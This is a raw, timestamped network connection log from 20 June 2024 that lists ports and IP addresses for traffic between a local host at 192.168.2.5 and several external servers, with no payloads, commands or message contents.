Jun 20, 2024 15:38:32.696279049 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.698699951 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:32.704210997 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:32.721961975 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.722012043 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.722085953 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.854300976 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.854356050 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:32.854387999 CEST	49768	443	192.168.2.5	23.43.61.160
Jun 20, 2024 15:38:32.854409933 CEST	443	49768	23.43.61.160	192.168.2.5
Jun 20, 2024 15:38:33.367474079 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:33.367549896 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.368410110 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.373564959 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:33.575444937 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:33.575532913 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.675702095 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:33.675755978 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:33.675848961 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:33.676157951 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:33.676186085 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:33.714086056 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.714375973 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.719460964 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:33.719559908 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.719588995 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:33.719706059 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.719861031 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:33.725472927 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:34.312321901 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.312832117 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.312879086 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.313469887 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.313638926 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.314471006 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.314541101 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.315668106 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.315754890 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.316175938 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.356524944 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.360538006 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.360557079 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.388700008 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:34.388828993 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:34.396255016 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:34.401096106 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:34.406352997 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.629566908 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:34.629663944 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:34.837831020 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.837893009 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.837941885 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.837986946 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.838037968 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.838066101 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.843043089 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.843095064 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.843111038 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.849157095 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.849203110 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.849275112 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.849292994 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.849363089 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.855251074 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.855313063 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.861229897 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.861277103 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.861304998 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.861323118 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.862766981 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.913418055 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:34.918472052 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:34.924021959 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.924067974 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.924108982 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.924141884 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.924194098 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.926548958 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.926608086 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.932688951 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.932727098 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.932760954 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.932775021 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.932822943 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.939058065 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.939126015 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.944937944 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.945005894 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.945019960 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.950911999 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.952764988 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:34.952780008 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.957099915 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.957684994 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:34.957756042 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:35.058768034 CEST	49776	443	192.168.2.5	172.217.18.110
Jun 20, 2024 15:38:35.058806896 CEST	443	49776	172.217.18.110	192.168.2.5
Jun 20, 2024 15:38:35.073210955 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.073246956 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.073324919 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.073934078 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.073951006 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.180645943 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.180989981 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.187000990 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:35.187061071 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.191220999 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:35.191278934 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.192841053 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.198309898 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:35.611345053 CEST	49767	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:35.612823009 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:35.617952108 CEST	80	49784	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:35.618027925 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:35.618145943 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:35.622973919 CEST	80	49784	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:35.798727989 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.798978090 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.799004078 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.799519062 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.799582005 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.800560951 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.800620079 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.801426888 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.801517010 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.801686049 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.801695108 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:35.842845917 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:35.869697094 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:35.869755030 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.870333910 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:35.875104904 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.077807903 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.077864885 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.106885910 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.107175112 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.107233047 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.108067036 CEST	49780	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.108082056 CEST	443	49780	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.109494925 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.109550953 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.109663010 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.110054970 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.110074997 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.205897093 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.206151009 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.211291075 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.211378098 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.211715937 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.211769104 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.212981939 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.217967987 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.317610025 CEST	80	49784	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:36.317811966 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.425461054 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.425756931 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.430692911 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:36.430768013 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.430785894 CEST	80	49784	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:36.430839062 CEST	49784	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.430958986 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:36.436759949 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:36.765357971 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.767110109 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.767122030 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.767621040 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.767788887 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.768666029 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.768721104 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.769213915 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.769294977 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.769351006 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.769351006 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.769382954 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.810883999 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.810908079 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:36.857748985 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:36.879158020 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.879235029 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.879832983 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:36.884676933 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:36.986998081 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.000061989 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:37.000895977 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:37.000993013 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:37.001785994 CEST	49788	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:37.001806021 CEST	443	49788	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:37.028548002 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.087337017 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:37.087392092 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.190140009 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.191454887 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.204691887 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.207760096 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.209642887 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.210814953 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.216237068 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:37.217112064 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.217379093 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.222263098 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:37.224241972 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:37.225719929 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.261931896 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262068033 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262167931 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262244940 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262250900 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.262290955 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262411118 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.262423038 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262471914 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.262480021 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.262550116 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.264720917 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.273565054 CEST	49753	443	192.168.2.5	142.250.184.228
Jun 20, 2024 15:38:37.273582935 CEST	443	49753	142.250.184.228	192.168.2.5
Jun 20, 2024 15:38:37.439244986 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.439372063 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.546503067 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.546781063 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.551548004 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.551973104 CEST	80	49790	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.552047014 CEST	49790	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.552244902 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.552244902 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:37.557109118 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:37.897125006 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:37.897530079 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.897849083 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:37.903067112 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.078833103 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:38.085516930 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:38.085613966 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:38.106065035 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.106189013 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.111624956 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:38.116905928 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:38.128494024 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:38.172241926 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:38.219173908 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.219360113 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.224260092 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.224684954 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.224775076 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.224886894 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.224886894 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.231585026 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.257405996 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.258790970 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.259191990 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.264703989 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.406884909 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.406913996 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:38.406996965 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.407886028 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.407901049 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:38.480551958 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.480770111 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.596378088 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.596673965 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.602284908 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.602420092 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.602477074 CEST	80	49792	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.602498055 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.602839947 CEST	49792	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:38.608330965 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:38.712280035 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:38.764700890 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:38.894557953 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:38.894759893 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.896373987 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.896382093 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:38.897186041 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:38.916353941 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.918719053 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.936590910 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.945846081 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:38.948152065 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:38.955702066 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:38.988502979 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:39.160052061 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:39.160383940 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:39.160456896 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:39.162703991 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:39.162977934 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.163194895 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:39.163214922 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:39.163224936 CEST	49796	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:39.163233995 CEST	443	49796	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:39.177669048 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.177716017 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.177794933 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.178078890 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.178097963 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.266387939 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.266617060 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.271956921 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:39.272952080 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:39.273025990 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.273192883 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.273192883 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.278213024 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:39.317559004 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.317636967 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.318181038 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.323352098 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.541692019 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.541807890 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.647418976 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.647520065 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.648801088 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.648833036 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.649168968 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.650348902 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.659136057 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.659612894 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.664347887 CEST	80	49797	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.664402962 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.664458990 CEST	49797	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.664500952 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.664649010 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:39.669759989 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:39.696496964 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.814151049 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.814404011 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.814579964 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.815272093 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.815323114 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.815354109 CEST	49798	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:39.815371990 CEST	443	49798	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:39.815711975 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:39.822282076 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:39.950690031 CEST	80	49800	147.45.47.155	192.168.2.5
